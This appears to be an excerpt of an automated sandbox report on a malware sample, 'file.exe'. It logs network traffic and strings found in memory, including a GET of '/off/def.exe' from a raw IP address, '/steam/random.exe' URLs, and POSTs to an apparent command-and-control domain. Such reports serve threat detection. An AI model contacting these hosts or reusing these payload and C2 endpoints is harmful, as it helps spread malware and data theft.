Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_88.7.dr, chromecache_99.7.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_88.7.dr, chromecache_99.7.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_88.7.dr, chromecache_99.7.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_88.7.dr, chromecache_99.7.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_88.7.dr, chromecache_99.7.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: cook-rain.sbs
Source: global traffic	DNS traffic detected: DNS query: 241.42.69.40.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cook-rain.sbs

Source: file.exe, file.exe, 00000000.00000003.2654414817.00000000016B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2715373086.00000000012FA000.00000004.00000010.00020000.00000000.sdmp, file.exe, 00000000.00000002.2716193364.00000000016B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2654414817.000000000169A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, file.exe, 00000000.00000003.2654414817.00000000016B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2716193364.00000000016B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000000.00000003.2654414817.00000000016B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2716193364.00000000016B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeH
Source: file.exe, 00000000.00000003.2193419650.0000000005CAA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2193419650.0000000005CAA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.2193419650.0000000005CAA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2193419650.0000000005CAA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2193419650.0000000005CAA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2193419650.0000000005CAA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2193419650.0000000005CAA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.2193419650.0000000005CAA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2193419650.0000000005CAA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_88.7.dr, chromecache_99.7.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_88.7.dr, chromecache_99.7.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_88.7.dr, chromecache_99.7.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_88.7.dr, chromecache_99.7.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_107.7.dr	String found in binary or memory: http://schema.org/Organization
Source: file.exe, 00000000.00000003.2193419650.0000000005CAA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2193419650.0000000005CAA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.2164720668.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_88.7.dr, chromecache_99.7.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_88.7.dr, chromecache_99.7.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_107.7.dr, chromecache_71.7.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_88.7.dr, chromecache_99.7.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_88.7.dr, chromecache_99.7.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_107.7.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_107.7.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_107.7.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_88.7.dr, chromecache_99.7.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: file.exe, 00000000.00000003.2210401025.0000000001704000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210418415.000000000170C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000003.2230175038.00000000016FC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2229968361.00000000016FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2234295049.00000000016FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2558245590.000000000170B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210401025.0000000001704000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2558148133.0000000001708000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2242851773.0000000001708000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2242331464.0000000001708000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2234352371.0000000001704000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: file.exe, 00000000.00000003.2164720668.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2164720668.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2164720668.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_88.7.dr, chromecache_99.7.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_88.7.dr, chromecache_99.7.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: file.exe, 00000000.00000003.2210401025.0000000001704000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210418415.000000000170C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000003.2230175038.00000000016FC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2229968361.00000000016FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2234295049.00000000016FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2558245590.000000000170B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210401025.0000000001704000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2558148133.0000000001708000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2242851773.0000000001708000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2242331464.0000000001708000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2234352371.0000000001704000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.2210967593.00000000016DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/
Source: file.exe, 00000000.00000003.2210967593.00000000016DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/5
Source: file.exe, 00000000.00000003.2211511909.0000000005C6A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210656879.0000000005C69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/A4ghIs
Source: file.exe, 00000000.00000003.2214867043.00000000016FC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2214549451.00000000016F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2214810708.00000000016FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2214676289.00000000016F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210967593.00000000016DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/SY
Source: file.exe, 00000000.00000003.2214867043.00000000016FC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2214549451.00000000016F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2214810708.00000000016FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2214676289.00000000016F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210967593.00000000016DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/Ye
Source: file.exe, 00000000.00000003.2214867043.00000000016FC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2214549451.00000000016F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2214810708.00000000016FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2214676289.00000000016F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210967593.00000000016DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/Za
Source: file.exe, file.exe, 00000000.00000003.2211511909.0000000005C6A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2654414817.00000000016B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2716193364.00000000016B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2230229939.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2230229939.00000000016DC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210656879.0000000005C69000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210967593.00000000016DC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210967593.000000000169A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api
Source: file.exe, 00000000.00000003.2230229939.00000000016DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apiDef
Source: file.exe, 00000000.00000003.2654414817.00000000016B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2716193364.00000000016B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2230229939.00000000016DC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210967593.00000000016DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apigs
Source: file.exe, 00000000.00000003.2230229939.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210967593.000000000169A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apip;
Source: file.exe, 00000000.00000003.2214867043.00000000016FC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2214549451.00000000016F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2214810708.00000000016FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2214676289.00000000016F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210967593.00000000016DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/hE
Source: file.exe, 00000000.00000003.2211511909.0000000005C6A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210656879.0000000005C69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/nt
Source: file.exe, 00000000.00000003.2164720668.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2164720668.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2164720668.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_107.7.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_107.7.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_107.7.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_107.7.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_107.7.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_107.7.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_107.7.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_88.7.dr, chromecache_99.7.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_107.7.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_88.7.dr, chromecache_99.7.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_88.7.dr, chromecache_99.7.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_107.7.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_107.7.dr	String found in binary or memory: https://github.com/nschonni
Source: file.exe, 00000000.00000003.2210401025.0000000001704000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2558148133.0000000001708000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2242851773.0000000001708000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2242331464.0000000001708000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2234352371.0000000001704000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210418415.000000000170C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: chromecache_107.7.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_88.7.dr, chromecache_99.7.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_88.7.dr, chromecache_99.7.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_88.7.dr, chromecache_99.7.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_88.7.dr, chromecache_99.7.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: chromecache_88.7.dr, chromecache_99.7.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_99.7.dr	String found in binary or memory: https://schema.org
Source: file.exe, 00000000.00000003.2194580369.0000000005D8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.2194580369.0000000005D8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_88.7.dr, chromecache_99.7.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_88.7.dr, chromecache_99.7.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_99.7.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: file.exe, 00000000.00000003.2230175038.00000000016FC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2229968361.00000000016FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2234295049.00000000016FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2558245590.000000000170B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210401025.0000000001704000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2558148133.0000000001708000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2242851773.0000000001708000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2242331464.0000000001708000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2234352371.0000000001704000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: file.exe, 00000000.00000003.2164720668.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2164720668.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_88.7.dr, chromecache_99.7.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: file.exe, 00000000.00000003.2194379033.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: file.exe, 00000000.00000003.2194379033.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000003.2194580369.0000000005D8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: file.exe, 00000000.00000003.2194580369.0000000005D8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: file.exe, 00000000.00000003.2194580369.0000000005D8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2210401025.0000000001704000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210418415.000000000170C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 60414 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60392 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60357 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60411
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60410
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60419
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60418
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60417
Source: unknown	Network traffic detected: HTTP traffic on port 60437 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60416
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60415
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60536
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60414
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60535
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60413
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60412
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 60528 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60484 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60422
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60421
Source: unknown	Network traffic detected: HTTP traffic on port 60369 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60420
Source: unknown	Network traffic detected: HTTP traffic on port 60426 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60429
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60428
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60427
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60426
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60425
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60424
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60423
Source: unknown	Network traffic detected: HTTP traffic on port 60495 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 60460 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60433
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60432
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60431
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60430
Source: unknown	Network traffic detected: HTTP traffic on port 60425 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 60473 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60439
